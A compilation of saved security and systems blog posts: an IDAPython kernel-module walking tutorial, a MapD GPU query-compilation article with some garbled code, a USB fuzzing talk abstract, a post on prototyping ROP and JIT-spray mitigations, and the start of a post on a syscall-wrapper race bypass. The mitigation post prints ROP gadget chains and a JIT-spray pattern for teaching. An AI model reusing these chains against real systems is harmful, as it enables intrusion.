retrieve the base of the segment pointed to by fs, we can use the VMWare's
debug monitor "r" command. GDB debugger plugin registers an IDC function
`SendGDBMonitor()` to send commands to the monitor, and we can use IDAPython's
`Eval()` function to call it:

[code]

    fs_str = Eval('SendGDBMonitor("r fs")')
    
[/code]

Returned string has the following format:

[code]

    fs 0x30 base 0x82744a00 limit 0x00002008 type 0x3 s 1 dpl 0 p 1 db 1
    
[/code]

We need the address specified after "base":

[code]

    kpcr = int(fs_str[13:23], 16) #extract and convert as base 16 (hexadecimal) number
    
[/code]

Then get the value of `KdVersionBlock`:

[code]

    kdversionblock = Dword(kpcr+0x34)
    
[/code]

And finally `PsLoadedModuleList`:

`PsLoadedModuleList = Dword(kdversionblock+0x18)`

#### Walking the module list

`PsLoadedModuleList` is declared as `PLIST_ENTRY`. `LIST_ENTRY` is a structure
which represents a member of a double-linked list:

[code]

    typedef struct _LIST_ENTRY
    {
         PLIST_ENTRY Flink;
         PLIST_ENTRY Blink;
    } LIST_ENTRY, *PLIST_ENTRY;
    
[/code]

So, we just need to follow the `Flink` pointer until we come back to where we
started. A single entry of the list has the following structure:

[code]

    struct LDR_MODULE
    {
      LIST_ENTRY InLoadOrderModuleList;
      LIST_ENTRY InMemoryOrderModuleList;
      LIST_ENTRY InInitializationOrderModuleList;
      PVOID BaseAddress;
      PVOID EntryPoint;
      ULONG SizeOfImage;
      UNICODE_STRING FullDllName;
      UNICODE_STRING BaseDllName;
      ULONG Flags;
      SHORT LoadCount;
      SHORT TlsIndex;
      LIST_ENTRY HashTableEntry;
      ULONG TimeDateStamp;
    };
    
[/code]

Now we can write a small function to walk this list and create a segment for
each module:

[code]

    #get the first module
    cur_mod = Dword(PsLoadedModuleList)
    while cur_mod != PsLoadedModuleList and cur_mod != BADADDR:
      BaseAddress  = Dword(cur_mod+0x18)
      SizeOfImage  = Dword(cur_mod+0x20)
      FullDllName  = get_unistr(cur_mod+0x24)
      BaseDllName  = get_unistr(cur_mod+0x2C)
      #create a segment for the module
      SegCreate(BaseAddress, BaseAddress+SizeOfImage, 0, 1, saRelByte, scPriv)
      #set its name
      SegRename(BaseAddress, BaseDllName)
      #get next entry
      cur_mod = Dword(cur_mod)
    
[/code]

#### Loading symbols

Having the module list is nice, but not very useful without symbols. We can load the symbols manually for each module using File | Load File | PDB file... command, but it would be better to automate it. 
For that we can use the PDB plugin. From looking at its sources \(available in
the SDK\), we can see that it supports three "call codes":

[code]

    //call_code==0: user invoked 'load pdb' command, load pdb for the input file
    //call_code==1: ida decided to call the plugin itself
    //call_code==2: load pdb for an additional exe/dll
    //              load_addr: netnode("$ pdb").altval(0)
    //              dll_name:  netnode("$ pdb").supstr(0)
    
[/code]

Call code 2 looks just like what we need. However, current IDAPython includes
a rather basic implementation of netnode class and it is not possible to set
supvals from Python. However, if we look at handling of the other call codes,
we can see that the plugin retrieves module base from `"$ PE header"` netnode
and module path using `get_input_file_path()` function. IDAPython's
`netnode.altset()` function does work, and we can use set\_root\_filename\(\)
to set the input file path. Also, if we pass a call code 3, we will avoid the
"Do you want to load the symbols?" prompt.

[code]

    #new netnode instance
    penode = idaapi.netnode()
    #create netnode the in database if necessary
    penode.create("$PE header")
    #set the imagebase (-2 == 0xFFFFFFFE)
    penode.altset(0xFFFFFFFE, BaseAddress)
    #set the module filename
    idaapi.set_root_filename(filename)
    #run the plugin
    RunPlugin("pdb",3)
    
[/code]

However, we need to replace the kernel-mode path by the local path beforehand:

[code]

    #path to the local copy of System32 directory
    local_sys32 = r"D:\VmWareShared\w7\System32"
    if FullDllName.lower().startswith(r"\systemroot\system32"):
    #translate into local filename
    filename = local_sys32 + FullDllName[20:]
    
[/code]

Now we can gather all pieces into a single script. Download it here

After running it, you should have a nice memory map:

<img src='img/Temp2_3810.png' width='713' height='393' />  
  

...and name list:

<img src='img/Temp2_3815.png' width='400' height='352' />  
  

Looks much better now. Happy debugging\!

# MapD: Massive Throughput Database Queries with LLVM on GPUs | Parallel Forall
**Created:**| _6/24/2015 10:34:56 AM_  
---|---  
**Updated:**| _6/24/2015 10:41:37 AM_  
**Author:**| __  
**Tags:**| _GPU dbms_  
  

# MapD: Massive Throughput Database Queries with LLVM on GPUs

> Note: this post was co-written by Alex Şuhan and Todd Mostak of MapD.
At MapD our goal is to build the world’s fastest big data analytics and
visualization platform that enables lag-free interactive exploration of multi-
billion row datasets. MapD supports standard SQL queries as well as a
visualization API that maps OpenGL primitives onto SQL result sets.

Although MapD is fast running on x86-64 CPUs, our real advantage stems from
our ability to leverage the massive parallelism and memory bandwidth of GPUs.
The most powerful GPU currently available is the NVIDIA Tesla K80 Accelerator,
with up to 8.74 teraflops of compute performance and nearly 500 GB/sec of
memory bandwidth. By supporting up to eight of these cards per server we see
orders-of-magnitude better performance on standard data analytics tasks,
enabling a user to visually filter and aggregate billions of rows in tens of
milliseconds, all without indexing. The following Video shows the MapD
dashboard, showing 750 million tweets animated in real time. Nothing in this
demo is pre-computed or canned. Our big data visual analytics platform is
running on 8 NVIDIA Tesla K40 GPUs on a single server to power the dashboard.

Fast hardware is only half of the story, so at MapD we have invested heavily
into optimizing our code such that a wide range of analytic workloads run
optimally on GPUs. In particular, we have worked hard so that common SQL
analytic operations, such as filtering \(`WHERE`\) and `GROUP BY`, run as fast
as possible. One of the biggest payoffs in this regard has been moving from
the query interpreter that we used in our prototype to a JIT \(Just-In-Time\)
compilation framework built on LLVM. LLVM allows us to transform query plans
into architecture-independent intermediate code \(LLVM IR\) and then use any
of the LLVM architecture-specific “backends” to compile that IR code for the
needed target, such as NVIDIA GPUs, x64 CPUs, and ARM CPUs.

Query compilation has the following advantages over an interpreter:

  1. Since it is inefficient to evaluate a query plan for a single row at a time \(in one “dispatch”\), an interpreter requires the use of extra buffers to store the intermediate results of evaluating an expression. For example, to evaluate the expression `x*2+3`, an interpreter-based query engine would first evaluate `x*2` for a number of rows, storing that to an intermediate buffer. The intermediate results stored in that buffer would then be read and summed with 3 to get the final result. Writing and reading these intermediate results to memory wastes memory bandwidth and/or valuable cache space. Compare this to a compiled query which can simply store the result of the first subexpression \(`x*2`\) into a register before computing the final result, allowing the cache to be used for other purposes, for example to create the hash table necessary for a query’s `GROUP BY` clause. This is related to loop fusion and kernel fusion compiler optimizations.
  2. An efficient interpreter would likely involve executing instructions represented by vectors of opcodes/byte-codes. Decoding the byte-code to get the required operations and then branching to the correct operation requires a significant amount of extra cycles. On the other hand, pre-generating compiled code for the query avoids the inefficiencies of this virtual machine approach.
  3. Depending on the number and range of the columns used in a `GROUP BY` clause, different hash strategies are optimal. Some of them rely on generating collision-free hash functions based on the range of the data, which is only known at runtime. Reproducing such functionality efficiently with an interpreter, particularly when the number and types of columns can vary, is difficult.

Of course, LLVM is not the only way to generate a JIT query compiler. Some
databases employ source-to-source compilers to convert SQL to another source
language like C++, which they then compile using regular compilers like gcc.
We think that an LLVM-based compiler has significant advantages over a
transpiler, including:

  1. Compilation times are much quicker using LLVM. We can compile our query plans in tens of milliseconds, whereas source-to-source compilation often requires multiple seconds to compile a plan. Since our platform is built for interactive data exploration, minimizing query compilation time is critical.
  2. LLVM IR is quite portable over the various architectures we run on \(GPU, x86-64, ARM\). In contrast, source language generation requires more attention to syntactic differences, particularly in divergent cases like CUDA vs. OpenCL \(both can be targeted with LLVM quite easily\).
  3. LLVM comes with built-in code validation APIs and tools. For example, comparison and arithmetic operations on integers will fail \(with a useful error message\) if the operand widths are different. Once a function is generated, `llvm::verifyFunction` performs additional sanity checks, ensuring \(among other things\) that the control flow graph of our query is well-formed.

## How MapD Uses NVVM

LLVM is powerful and battle-proven for CPUs, but our product focuses on GPUs.
If we could use LLVM for GPU code compilation we’d get all the benefits we’ve
mentioned while also being able to run on a CPU when needed. Fortunately, the
NVIDIA Compiler SDK made this a reality long before we started to build our
product.

<img src='img/Temp2_5205.png' alt='Figure 1: The MapD dashboard showing
airline data using the Crossfilter interface.' />

Figure 1: The MapD dashboard showing airline data using the Crossfilter
interface.

The NVIDIA Compiler SDK includes libNVVM, an LLVM-based compiler backend and
NVVM IR, a rather extensive subset of LLVM IR. Thanks to our choice of LLVM
and libNVVM, our system runs on NVIDIA GPUs, GPU-less ultrabooks, and even on
the 32-bit ARM CPU on the Jetson TK1, all using the same code base.

MapD does not need to directly generate all code. We offload some of the
functionality to a runtime written in C++ whenever code generation would be
tedious and error-prone without any performance benefits. This approach is a
great fit for things like aggregate functions, handling arithmetic on columns
with SQL `null` values, hash dictionaries and more. The LLVM based C++
compiler, clang, generates the corresponding LLVM IR, and we combine it with
our explicitly generated IR.

As is always the case when compilation is involved, the time required to
generate native code is an important consideration. An interactive system sees
new queries all the time as the user refines them in search of insight. We’re
able to keep code generation consistently under 30 ms for entirely new
queries, which is good enough to be unnoticeable in the console, especially
for massive datasets. However, for “mere billions” of rows, our UI is able to
show smooth animations over multiple correlated charts. Since the actual
execution is so fast in this case, 30 ms can matter a lot.

Fortunately, these queries are structurally identical and only differ in the
value of literals as the filter window moves across the time range or the user
selects the tail of a histogram. With caching in place, compilation time
becomes a non-issue. We keep it simple and still generate the IR, then use it
as a key in the native code cache. The LLVM API offers an easy way to
serialize source level entities \(functions in our case\), shown below.

[code]

    string serialize_functionconstFunctionstringstream ssraw_os_ostream os->printreturn
    
[/code]

## Performance Measurements

Ideas are great in performance-focused systems, but the proof is in the
pudding. As it turns out, MapD extracts a lot of performance out of GPUs.

Queries using filter and aggregate routinely hit more than 80% of the
available bandwidth. We’ve measured more than 240 GB/s on a single K40 \(vs a
theoretical max of 288GB/sec\) for a filter and count query touching a single
column. When grouping by a single column with 20 possible values and some skew
\(the carrier in the airline data set in Figure 1\), MapD can only reach
slightly more than 100 GB/s on K40. On the new Titan X GPU, based on the
Maxwell architecture, we are able to get more than 200 GB/s on the same query,
on a single card. Maxwell handles contention in shared memory atomics
significantly better than the Kepler architecture, which explains this great
result on skewed inputs. We’re looking forward to this feature being
implemented on future generations of Tesla cards as well.

<img src='img/Temp2_5204.png' alt='Figure 2: MapD performance compared to
leading in-memory database on 2-socket, 8-GPU system (group-by and filter
query)' />

Figure 2: MapD performance compared to leading in-memory database on 2-socket,
8-GPU system \(group-by and filter query\)

MapD is easily able to get a 40-50x speedup on a multi-GPU system, even when
compared to our own code running on a high end dual-socket CPU system, and
there are even queries for which the gap is two orders of magnitude \(this is
often code with lots of divisions, which tend to be slow on x86-64\). Compared
to other leading in-memory CPU-based databases, which typically use
interpreters or source-to-source compilers, the speedup can easily be three
orders of magnitude, as Figure 2 shows.

## LLVM JIT Compilation for GPUs: Tips and Tricks

We’ve learned a lot about LLVM and JIT compilation for GPUs while building
MapD’s interactive query engine, and we’d like to share some of that
experience with you.

Most MapD runtime functions are marked as `always_inline`, which forces the
LLVM `AlwaysInliner` optimization pass to inline them so that there is no
function call overhead and increased scope for other optimization passes. For
example, the following is a reasonable way of implementing a `max` aggregate.

[code]

    extern __attribute__always_inline agg_maxint64_tconstint64_t
    
[/code]

Note that the function is not marked as `__device__` since this is not CUDA
C++ code. Any explicit call to this function will be eventually inlined and
the result can run unmodified on the GPU. Also, if `agg` points to a value
allocated on the stack \(as is the case for queries without `GROUP BY`
clause\), the `PromoteMemoryToRegister` pass will place it in a register for
the inner loop of the query. The runtime functions which need GPU-specific
implementations are part of a regular CUDA C++ library we can call from the
query.

We’ve said that NVVM generates native code, but there actually is an
additional step we haven’t discussed. From the IR we generate, NVVM generates
PTX, which in turn is compiled to native code for the GPU. Especially if
you’re bundling a CUDA C++ library with the generated code, like we do,
caching the result of this last step is very important. Make sure the compute
cache directory is writable by your application or else it will silently fail
and recompile every time. The code snippet below shows how we bundle a library
with the PTX we generate.

[code]

    checkCudaErrorscuLinkCreatenum_optionsoption_keysoption_valueslink_state_lib_pathempty// To create a static CUDA library:// 1. nvcc -std=c++11 -arch=sm_30 --device-link// -c [list of .cu files]// 2. nvcc -std=c++11 -arch=sm_30// -lib [list of .o files generated by step 1]// -o [library_name.a]
        checkCudaErrorscuLinkAddFilelink_state_ CU_JIT_INPUT_LIBRARY
                                      lib_pathc_str num_optionsoption_keysoption_values
    checkCudaErrorscuLinkAddDatalink_state_ CU_JIT_INPUT_PTXstatic_cast*>(
                                  strlen num_optionsoption_keysoption_values cubinsize_t cubin_size
    checkCudaErrorscuLinkCompletelink_state_cubincubin_size
    checkCudaErrorscuModuleLoadDataExmodule_ cubin num_optionsoption_keysoption_values
    checkCudaErrorscuModuleGetFunctionkernel_ module_ func_namec_str()));
    
[/code]

There is an upper bound for the number of registers a block can use, so the
`CU_JIT_THREADS_PER_BLOCK` option should be set to the block size. Failing to
do so can make the translation to native code fail. We’ve had this issue for
queries with many projected columns and a lot of threads per block before
setting this option.

Speaking of libraries, not all POSIX C functions are included in the CUDA C++
runtime libraries. In our case, we needed `gmtime_r` for the `EXTRACT` family
of SQL functions. Fortunately, we’ve been able to port it from newlib and
compile it with NVCC.

Just a word of caution: despite sharing the IR specification, NVVM and LLVM
are ultimately different code-bases. Going with an older version of LLVM,
preferably the one NVVM is based on, can help. We decided against that
approach since the LLVM API offers a wide range of “IR surgery” features and
we were able to fix up these mismatches, but your mileage may vary.

Also, unlike LLVM IR, unaligned loads are not allowed in NVVM IR. The address
of a load must be a multiple of the size of the type; otherwise, the query
would crash with an invalid memory access error on the GPU, even if the load
is not annotated as aligned.

## Try MapD Today\!

Creating a SQL JIT for GPUs is just one of the many optimizations we’ve
implemented to make MapD as fast as possible. If you’d like to learn more
about MapD, please visit the MapD website, download our white paper, or read
our blog.

# Recon2012: Facedancer USB: Exploiting the Magic School Bus

**Created:**| _11/7/2012 6:20:14 PM_  
---|---  
**Updated:**| _11/7/2012 6:20:14 PM_  
**Author:**| __  
**Tags:**| _compiler-building reversing conference-material_  
  

# Facedancer USB: Exploiting the Magic School Bus

<img src='img/Temp2_6786.png' />

Here we introduce the Facedancer Board, a tool for implementing USB devices in
host-side Python using the GoodFET framework. Access to the USB chip is
extremely low-level, so protocols may be mis-implemented in all sorts of
creative ways. This allows a clever neighbor to quickly find and exploit USB
driver vulnerabilities from the comfort of a modern workstation, only later
porting such exploits to run standalone. Additionally, we'll show you some
nifty tricks for replacing the firmware of commercial USB devices in order to
house your exploits.

We learned to respect the network jack. Bad things come in and get routed over
networks, but we have PF, Netfilter, and suchlike to control what goes where.
Our packet parsing shed unnecessary and exploitable complexity like IP options
and fragmentation, and is pretty defensive. Scapy is fun but it does not
explode our networks.

Buses, on the other hand, are still a magic trip that "just works". A wise boy
prays, "Please, let it be a normal bus trip\!", while the rest of the kids
just happily plug "devices" into "computers" and trust their drivers to take
them to a magical place. Despite some bus and DMA attack tools, we still
behave as if data that comes on a bus does not need filtering, cannot scan for
the most vulnerable piece of code it can reach, and then exploit it. We do not
treat buses with the same respect as networks, we do not see "devices" as
malicious nodes, nor the need for filtering.

_\*_ This may be because we never connect two computers with a USB cable _\*_
, sending data between them like over a proper network. If buses carry
packets, why not then do what we do with packets: spoof, scan, forward, craft
with Scapy, treat the weakest parser on the other side to a nice little
crafted input to liberate the weird machines within? We only need a little
help with forwarding.

Our Facedancer board does just that, exposing a Maxim MAX3420 USB controller
to Python. You can then use a host-side scripting language to emulate devices
in USB, connected to a real host on the other side. Ain't that nifty?

Be as 1990's network stack-evil as you like on the poor trusting drivers that
were only ever debugged on what actual devices sent. If driver bluescreens are
the OS's bad dream, a shape-changing bus attacker can always become its worst
nightmare.

The illusion of buses and devices melts away: there are only network links and
hostile nodes. The childhood's magic school "bus" stops here; it's a network
out there.

## Attached files

  * Slides \(application/pdf - 16.2 MB\) 

# VRT: Prototyping Mitigations with DBI Frameworks

**Created:**| _4/19/2012 4:45:49 PM_  
---|---  
**Updated:**| _4/19/2012 4:45:49 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation prototyping Defense mitigations_  
  

## Tuesday, April 17, 2012

###  Prototyping Mitigations with DBI Frameworks

A couple weeks ago I had the privilege of both attending my first Austin
Hackers Association meeting and speaking at the first Infosec Southwest
conference in Austin, Texas. I had been wanting to visit Austin for several
years now and was excited to see the dynamics of the local hack scene since
Austin is home to several world class vulnerability research teams. I was not
disappointed and I had the chance to have several great conversations on low
level research topics such as PCI Bootkits and the particulars of Java’s JVM
translation for instructions used in JIT spray.  
  
My talk was about prototyping mitigations with existing dynamic binary
instrumentation frameworks. It was a random side project that I had decided to
check out since I’ve spent a lot of time developing dynamic analysis tools
recently and I have always had an interest in mitigation design. I also read
plenty of academic materials which are full of great ideas but rarely provide
code implementations so I felt there is a need for a prototyping environment.
I initially thought I might compare and contrast some of the features that are
available in PIN, DynamoRIO, and Valgrind but I felt the comparison would be
of less interest to the security community and there was plenty to cover with
a discussion of return oriented programming and just-in-time spray
exploitation techniques, proposed mitigations for each, and also example code
implementing those mitigations.  
  
The reason I felt this was an interesting topic is because nearly all
mitigations that are currently released are developed by the vendor
themselves. This may be the operating system vendor, compiler vendor, or
application developer in the case of sandboxes or custom heaps. It would be
nice to test out custom mitigations as point fixes in critical environments
until the vendor is able to deploy resistances to known mitigation bypasses
such as ROP shellcode techniques. In some instances the vendor will determine
that the potential cost in performance or stability will not be worth the
benefit of developing mitigations at all. In this case, there are no other
options than to be able to develop the mitigations ourselves.  
  
For those unfamiliar with dynamic binary instrumentation frameworks such as
DynamoRIO, PIN, and Valgrind; they can be considered to be in-process
debuggers. They are able perform the program loading themselves and hook into
various points of the program such as functions, basic blocks, and
instructions and typically provide an API for abstracting the underlying CPU
architecture. Uses outside of computer security include optimization, binary
translation, profiling, etc. In the case of computer security, it provides a
method for efficient debugging by way of eliminating CPU context switches for
breakpoints as well as a nice API for injecting code or inspecting a running
application. Performance numbers show these frameworks offer the quickest form
of instruction or block tracing, however this of course relies upon the
individual hook functions themselves.  
  
RETURN ORIENTED PROGRAMMING  
  
Return oriented programming \(ROP\) will be the first exploitation technique
that we will attempt to mitigate. ROP is the modern term for a technique first
pioneered on UNIX platforms that supported non-executable pages of memory. ROP
achieves controlled shellcode execution by building a fake callstack and then
hijacking the stack pointer. Each frame of the attacker controlled callstack
performs a primitive programming operation such as arithmetic or memory store
and load operations followed by a RET instruction. The following fake
callstack shows three calls chained together to perform a Write-4 operation.  

> rop += "\xD2\x9F\x10\x10“ \#0x10109FD2 :  
>  \# POP EAX  
>  \# RET  
> rop += "\xD0\x64\x03\x10“ \#0x100364D0 :  
>  \# POP ECX  
>  \# RET  
> rop += "\x33\x29\x0E\x10“ \#0x100E2933 :  
>  \# MOV DWORD PTR DS:\[ECX\], EAX  
>  \# RET
  
By chaining several calls together a complete shellcode stub to change memory
permissions of a page containing a larger payload can be executed. This is
typically achieved by calling VirtualProtect, VirtualAlloc, HeapCreate, or
WriteProcessMemory functions. The below example shows how a complete call to
VirtualProtect would be built by first preparing the arguments on the stack
and then executing a call chain to find kernel32 and resolve a pointer to the
VirtualProtect function.  

> \#\#\#\#\#\#\#\#\#\# VirtualProtect call placeholder \#\#\#\#\#\#\#\#\#\#  
> rop += "\x41\x41\x41\x41" \# &Kernel32.VirtualProtect\(\) placeholder  
> rop += "WWWW" \# Return address param placeholder  
> rop += "XXXX" \# lpAddress param placeholder  
> rop += "YYYY" \# Size param placeholder  
> rop += "ZZZZ" \# flNewProtect param placeholder  
> rop += "\x60\xFC\x18\x10" \# lpflOldProtect param placeholder  
>  0x1018FC60 \{PAGE\_WRITECOPY\}  
> rop += rop\_align \* 2  
>  
> \#\#\#\#\#\#\#\#\#\# Grab kernel32 pointer from the stack, place it in EAX
> \#\#\#\#\#\#\#\#\#\#  
> rop += "\x5D\x1C\x12\x10" \* 6 \#0x10121C5D :  
>  \# SUB EAX, 30  
>  \# RETN  
> rop += "\xF6\xBC\x11\x10" \#0x1011BCF6 :  
>  \# MOV EAX, DWORD PTR DS:\[EAX\]  
>  \# POP ESI  
>  \# RETN  
> rop += rop\_align  
>  
> \#\#\#\#\#\#\#\#\#\# EAX = kernel32 pointer, now retrieve pointer to
> VirtualProtect\(\) \#\#\#\#\#\#\#\#\#\#  
> rop += \("\x76\xE5\x12\x10" \+ rop\_align\) \* 4 \#0x1012E576 :  
>  \# ADD EAX,100  
>  \# POP EBP  
>  \# RETN  
> rop += "\x40\xD6\x12\x10" \#0x1012D640 :  
>  \# ADD EAX,20  
>  \# RETN  
> rop += "\xB1\xB6\x11\x10" \#0x1011B6B1 :  
>  \# ADD EAX,0C  
>  \# RETN  
> rop += "\xD0\x64\x03\x10" \#0x100364D0 :  
>  \# ADD EAX,8  
>  \# RETN  
> rop += "\x33\x29\x0E\x10" \#0x100E2933 :  
>  \# DEC EAX  
>  \# RETN  
> rop += "\x01\x2B\x0D\x10" \#0x100D2B01 :  
>  \# MOV ECX,EAX  
>  \# RETN  
> rop += "\xC8\x1B\x12\x10" \#0x10121BC8 :  
>  \# MOV EAX,EDI  
>  \# POP ESI  
>  \# RETN
  
One thing to notice about the design of ROP shellcodes is that they are
composed of sub-blocks. Compilers generally exhibit two behaviors when
creating control flow: a\) nearly all RET instructions return to an address
immediately following a CALL or JMP instruction and b\) all CALL and JMP
instructions will next execute an instruction at the beginning of a basic
block. In this discrepancy, we have two mitigation designs.  
  
The first is called a shadow stack and the basic principle is that at each
CALL instruction, we will push the address of the next instruction on a
private stack prior to entering into the called function. On the next RET, we
should be returning to the address that we have stored on our private stack
copy:  

> INSTRUMENT\_PROGRAM  
> for each IMAGE  
>  for each INSTRUCTION in IMAGE  
>  if INSTRUCTION is CALL  
>  push BRANCH\_TARGET on SHADOW\_STACK  
>  if INSTRUCTION is RET  
>  insert code to retrieve SAVED\_EIP from stack  
>  insert CALL to ROP\_VALIDATE\(SAVED\_EIP\) before INSTRUCTION  
>  
> ROP\_VALIDATE  
> if SAVED\_EIP not top of SHADOW\_STACK  
>  exit with error  
> else pop top of SHADOW\_STACK
  
The second method, branch monitoring, tracks whether the CALL or JMP is
pointing to a block entry point and is just as simple and leaves less room for
error:  

> INSTRUMENT\_PROGRAM  
> for each IMAGE  
>  for each BLOCK in IMAGE  
>  insert BLOCK in BLOCKLIST  
>  for each INSTRUCTION in BLOCK  
>  if INSTRUCTION is RETURN or BRANCH  
>  insert code to retrieve SAVED\_EIP from stack  
>  insert CALL to ROP\_VALIDATE\(SAVED\_EIP\) before INSN  
>  
> ROP\_VALIDATE  
> if SAVED\_EIP not in BLOCKLIST  
>  exit with error
  
Check out the slides and source code to see how easy it is to implement these
mitigations using PIN. Less than 200 lines of source will get you both
mitigations. It is also worth noting that these mitigations defeat the new
technique released by Dan Rosenberg which defeats a newly implemented ROP
defense that is implemented in Windows 8. The method implemented by Microsoft
relies upon observing the value of the stack pointer rather than the integrity
of the stack itself.  
  
JUST-IN-TIME SHELLCODE  
  
JIT shellcode is a mitigation bypass technique that utilizes the built in JIT
engines to convert attacker supplied non-executable data such as javascript or
actionscript code into an attacker controlled executable shellcode. In the
case of the ActionScript and JavaScript VMs, the code that results in the
least amount of translation \(and therefore the most attacker control\) are
arithmetic operators. In particular, it has been shown that the XOR operator
will chain a mostly attacker controlled sequence of assembly instructions
together in an executable area of memory.  

> var y=\(0x11223344^0x44332211^0x44332211…\);  
>  
> Compiles as:0x909090: 35 44 33 22 11 XOR EAX, 11223344  
> 0x909095: 35 44 33 22 11 XOR EAX, 11223344  
> 0x90909A: 35 44 33 22 11 XOR EAX, 11223344
  
As we can see above, the immediate values we passed to a chain of XOR
instructions stays intact. You may be asking how this can help us, but thanks
to the ability for x86 processors to execute unaligned instructions, we can
manipulate a vulnerability into executing at an offset within this now mostly
controlled executable memory space. If we begin disassembling at a byte offset
into the above memory, we get the following:  

> 0x909091: 44 INC ESP  
> 0x909092: 33 22 XOR ESP, \[EDX\]  
> 0x909094: 11 35 44 33 22 11 ADC \[11223344\], ESI  
> 0x90909A: 35 44 33 22 11 XOR EAX, 11223344
  
Okay, so without going much further into the pain it really is to pull off a
successful shellcode using this method \(hat tip to Dion and Alexey for the
mind-crushing prior work\), what are the behaviors that will be anomalous
enough that we can write a mitigation to protect against the JIT shellcode? I
consulted a brief paper written by Piotr Bania which observed that the
ActionScript and Javascript JIT compilers modify pages from RWX to R-E once
the code has been translated to native executable opcodes. We also know that
the current technique relies upon a long chain of XOR operators as well as a
series of immediate values. Thus we have the following heuristic:  

> INSTRUMENT\_PROGRAM  
> Insert CALL to JIT\_VALIDATE at prologue to VirtualProtect  
>  
> JIT\_VALIDATE  
> Disassemble BUFFER passed to VirtualProtect  
> for each INSTRUCTION  
>  if INSTRUCTION is MOV\_REG\_IMM32 then  
>  while NEXT\_INSTRUCTION uses IMM32  
>  increase COUNT  
>  if COUNT > THRESHOLD then  
>  exit with error
  
I invite you to check out the slides for further explanation and example code
to take a look at how easy it is to implement these ideas. The real-world
performance hit is something that may not be appropriate for all uses, however
the time to develop is so trivially small and prototyping allows you to
determine the soundness of the mitigation design prior to spending the effort
to implement these on the kernel or compiler level.

  
Code and slides are available at: http://code.google.com/p/moflow-mitigations/

  

  

References:  
  
Dan Rosenberg. Defeating Windows 8 ROP Mitigation.

http://vulnfactory.org/blog/2011/09/21/defeating-windows-8-rop-mitigation/  
  
Piotr Bania. JIT spraying and mitigations.

http://www.piotrbania.com/all/articles/pbania-jit-mitigations2010.pdf  
  
Alexey Sintsov. Writing JIT Shellcode for fun and profit.

http://dsecrg.com/files/pub/pdf/Writing%20JIT-
Spray%20Shellcode%20for%20fun%20and%20profit.pdf

# kernelbof

**Created:**| _1/3/2012 4:30:08 PM_  
---|---  
**Updated:**| _1/3/2012 4:30:08 PM_  
**Author:**| __  
**Tags:**| _kernel windows environment hooks_  
  

## Sunday, May 16, 2010

###  Security is Burning - Everything Old is New Again

Every time I convince myself not to make any more public posts, something
almost magically occurs to make me change my mind.  
The day before yesterday was a particularly boring day, when out of the blue a
friend of mine dropped me an email bearing a link along with the following
tongue-in-cheek remark:  
  
"Looks familiar, doesn't it? :\)\)\)\)\)"  
  
What he linked me to was this URL.  
  
It seems the latest trend in security research right now involves people
forging new "names" for ~decade-old security issues. In this particular case,
the attack referred to by the Matousec link was generously rechristened an
"argument-switch attack". Are we that short on things to talk about? Or maybe
we're all just assumed to be amnesiacs by our peers? Who knows.  
  
Just to cite just a few references \(there are many more out there\) to the  
"Awful and Gruesome System Call Wrapper Flaw-By-Design" approach:  
  
\- 1\) http://seclists.org/bugtraq/2003/Dec/351 \- Andrey Kolishak  
  
\- 2\) http://www.watson.org/~robert/2007woot/2007usenixwoot-
exploitingconcurrency.pdf \- Robert Watson  
  
\- 3\) http://events.ccc.de/congress/2007/Fahrplan/events/2353.en.html \-
myself and twiz  
  
What's funny is that when I re-read what I myself wrote in that presentation
\[3\], I realized that I'd \*also\* "forged" a ridiculous new name, as well:
"Handle Object Redirect Attacks" \-- woot\! Go me\! It's so irresistible,
forging useless new names\!\!  
  
I don’t want to criticize the work of any other researchers, and I tend to
think that the Matousec people did find these issues by themselves –- spending
\(wasting?\) a lot of time attempting also to advise security firms about the
presence of this issue on almost all of their products... But despite this
fact, I can state with a good degree of certainty that almost all of the major
AV firms HAVE KNOWN about it for years.  
  
Anyone dealing with this sort of thing also knows why they didn't change/fix
anything. Is it worth changing, when you consider comparing the effort of
changing the products' core engines against the real risk ? I think not.  
  
As a side-note... we never really thought that any of this was a critical
issue, to begin with… after all, I'm pretty sure that by now most people in
the security field are aware of the fact that running untrusted native code on
a box practically translates to 'ring 0 access'...  
but hey -- that's a whole other story entirely. :\)  
  
Moreover there is cause to have reasonable doubt about how deep such research
has actually been. Citing from their article:  
  
"The argument-switch attack requires specific behavior from system scheduler
which is impossible to ensure from user mode."  
  
Thinking “Good\! Maybe they simply wrote an in-depth analysis only for their
customers?” \(citing from their article: “The full results of the research
were offered to our clients and other software vendors”. Who knows?\! :D \)  
  
Well, stating that the scheduler behavior cannot be controlled at all from
userland is a little simplistic. As anybody who has dealt with kernel
exploitation knows very well, there is no way the kernel can trust the user
land. If the vulnerable kernel control path runs in process-context and it
directly references a virtual userland address, you can always force it to
perform a deterministic context-switch. This can be done indistinctly, and of
course one-shot, on both Multi-processor and Uni-processor systems.  
  
I've seen a lot of posts speculating against the fact that this vulnerability
can be exploited using only a bruteforce approach and that this is reliable
with a few tries only on SMP boxes.  
  
That’s NOT true.  
  
Using a bruteforce approach, sooner or later the check WILL certainly get
bypassed, true…, but what do you do if the AV engine simply blocks the first
attempt, showing a process-blocking pop-up or blacklisting the process? etc..
In my humble opinion, taking this approach accomplishes little more than
making the vulnerability completely useless \(ie, even more than it already
was to begin with\). The bypass MUST be one-shot-always.  
  
I think it is now time to show the PoC I wrote during the presentation \[3\]
but never released till now. It exploits the “Demand Paging” mechanism
together with the “Direct I/O” and cache write-through to accomplish the one-
shot bypass.  
  
Modern OSs have supported these concepts for ages, and exploiting them to
control the context switch is, in most of the cases, an easy task; Windows is
no exception. The PoC demonstrates how to bypass one-shot the famous
hookdemo.sys vulnerable driver \(written by Andrey Kolishak in \[1\]\) on Uni-
Processor systems.  
  
The driver simply wraps the ZwOpenKey\(\) system call, trying to prevent
access to the following key: “\HKEY\_LOCAL\_MACHINE\Software\hookdemo\test1”.  
The driver uses two different methods to deny access to the given resource
Registry key. The following PoC has been written to address the first
\(default\) hook implementation which dereferences the userland object twice.  
  
The PoC code is straightforward. It manages two different string names.  
  
A monitored key: “\HKEY\_LOCAL\_MACHINE\Software\hookdemo\test1”  
A fake key: “\HKEY\_LOCAL\_MACHINE\Software\hookfake\test1” .  
  
The userland process issues a system call using the fake key while a racer
thread modifies it after the thread issuing the system call gets switched away
from the current CPU. Everything works one-shot in a deterministic way. Let’s
see how:  
  
The userland process first creates \(CreateFile\(\)\) a non-existent random
file name using the Direct I/O flags \(which is FILE\_FLAG\_NO\_BUFFERING on
Windows\) . Next, respecting the granularity alignment constrains, the code
